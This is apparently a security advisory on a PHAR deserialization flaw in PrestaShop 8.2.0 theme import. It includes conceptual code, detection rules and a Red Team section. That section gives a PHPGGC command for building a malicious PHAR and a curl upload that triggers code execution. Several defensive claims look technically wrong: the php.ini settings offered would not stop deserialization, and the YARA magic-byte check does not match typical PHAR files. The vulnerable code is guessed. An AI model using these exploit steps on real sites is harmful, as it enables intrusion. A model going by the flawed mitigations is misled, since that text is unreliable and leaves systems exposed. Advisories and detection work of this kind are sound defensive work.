CVE-2025-25691

Executive Summary

CVE-2025-25691 is a critical PHAR deserialization vulnerability discovered in PrestaShop v8.2.0, specifically within the /themes/import component. This flaw allows an unauthenticated attacker to achieve remote code execution (RCE) by sending a crafted POST request containing a malicious PHAR (PHP Archive) file. The vulnerability arises from the insecure use of phar:// stream wrapper in PHP, which triggers automatic deserialization of metadata when a PHAR file is accessed. Given the lack of a confirmed patch and the public availability of proof-of-concept (PoC) code, this vulnerability poses a severe risk to all PrestaShop instances running version 8.2.0. Immediate mitigation actions are required.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the PrestaShop e-commerce platform, which is a PHP-based application. The risk is amplified if the PrestaShop instance is integrated with third-party modules or themes that may also be vulnerable to similar deserialization attacks. Organizations should audit all custom and third-party themes for unsafe file handling.

CVSS Breakdown & Threat Level

While an official CVSS vector is not provided, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the application itself.
• Confidentiality (C): High (H) – Full system compromise possible.
• Integrity (I): High (H) – Attacker can modify files and data.
• Availability (A): High (H) – Attacker can disrupt service.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit with publicly available PoC, and no patch is currently available.

Deep Dive & Mechanics

The vulnerability resides in the theme import functionality of PrestaShop. When a user uploads a theme archive, the application processes the file using PHP's file functions. The core issue is that the application does not properly validate the file type or sanitize the file path before using it with a phar:// stream wrapper.

Technical Breakdown:

1. PHAR Deserialization: PHP's PHAR files contain metadata that is automatically unserialized when the file is accessed using the phar:// wrapper. This metadata can contain arbitrary PHP objects.
2. Attack Vector: An attacker crafts a malicious PHAR file containing a PHP object that, upon deserialization, executes arbitrary code (e.g., using a gadget chain like PHPGGC).
3. Exploitation: The attacker sends a POST request to /themes/import with the malicious PHAR file as the uploaded theme. The application then processes the file, triggering the deserialization and code execution.
4. Impact: Successful exploitation grants the attacker full control over the PrestaShop instance, including database access, file manipulation, and potential lateral movement within the network.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code path is identified as the theme import handler. The vulnerable code likely resembles:

// Vulnerable code (conceptual)
$file = $_FILES['theme']['tmp_name'];
$phar = new Phar($file); // Triggers deserialization
// ... process theme

A patched version would need to:

1. Validate the uploaded file's MIME type and extension (e.g., only allow .zip).
2. Avoid using phar:// wrapper for user-uploaded files.
3. Use is_file() and file_get_contents() with strict path validation instead of Phar class.

// Patched code (conceptual)
$file = $_FILES['theme']['tmp_name'];
if (mime_content_type($file) !== 'application/zip') {
    throw new Exception('Invalid file type');
}
$zip = new ZipArchive();
$zip->open($file);
// ... process theme safely

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• PrestaShop v8.2.0 instance (e.g., Docker container).
• PHPGGC tool for generating gadget chains.
• Python or curl for sending requests.

Exploitation Steps:

1. Generate Malicious PHAR:

   php -d phar.readonly=0 ./phpggc --phar phar:// -o exploit.phar Laravel/RCE1 system 'id'
   

2. Upload and Trigger:

   curl -X POST -F "theme=@exploit.phar" http://target.com/themes/import
   

3. Verify Execution: Check server logs or access a web shell if the payload creates one.

Note: The exact gadget chain depends on the PHP version and installed libraries. Common chains include those for Laravel, Symfony, or Monolog.

Blue Team (Defensive)

Detection & Prevention:

1. Web Application Firewall (WAF): Block uploads with .phar extension or phar:// in POST parameters.
2. File Upload Validation: Implement strict MIME type and extension checks on the server side.
3. Disable PHAR Wrapper: If not needed, disable the phar:// stream wrapper in php.ini:

   ; Disable phar wrapper
   allow_url_fopen = Off
   ; Or remove phar from stream_wrappers
   

4. Monitor Logs: Look for unusual file uploads or errors related to Phar class.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • exploit.phar (generated by attacker) – varies.
• Network Indicators:
  • POST requests to /themes/import with large file uploads.
  • Unusual Content-Type: application/x-phar headers.
• System Indicators:
  • Unexpected files in /tmp or web root.
  • New PHP files in modules/ or themes/ directories.
  • Unusual processes spawned by the web server user (e.g., id, whoami).
• Log Entries:
  • PHP errors: "PHP Fatal error: Uncaught PharException: ..."
  • Access logs: POST /themes/import HTTP/1.1" 200

Detection Engineering

YARA Rule

rule CVE_2025_25691_PHAR_Deserialization {
    meta:
        description = "Detects PHAR files crafted for CVE-2025-25691"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "CVE-2025-25691"
    strings:
        $phar_magic = { 50 48 41 52 } // "PHAR" magic bytes
        $gadget_chain = /O:\d+:"[^"]+":\d+:/ // Serialized object pattern
    condition:
        $phar_magic at 0 and $gadget_chain
}

Sigma Rule

title: PrestaShop PHAR Deserialization Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /themes/import with potential PHAR payloads
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/themes/import'
        cs-content-type: 'application/x-phar'
    condition: selection
falsepositives:
    - Legitimate PHAR file uploads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-25691 PrestaShop PHAR Deserialization Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/themes/import"; http.content_type; content:"application/x-phar"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Theme Import: If not required, disable the theme import functionality by removing or restricting access to /themes/import.
2. Apply Virtual Patching: Use a WAF to block requests with phar:// in the body or file uploads with .phar extension.
3. Restrict File Uploads: Modify the server configuration to only allow specific file types (e.g., .zip) and validate MIME types.

Long-Term Fix:

• Monitor for Official Patch: Apply the official patch from PrestaShop as soon as it is released.
• Code Audit: Review the theme import code and implement safe file handling practices:
  • Use ZipArchive instead of Phar for archive processing.
  • Validate file extensions and MIME types.
  • Store uploaded files outside the web root.

Workaround (if patching is not possible):

• Disable PHAR Stream Wrapper: In php.ini, set phar.readonly = 1 and remove phar from the list of stream wrappers if possible. Note that this may break legitimate PHAR usage.

Valters IT
Securing Digital Frontiers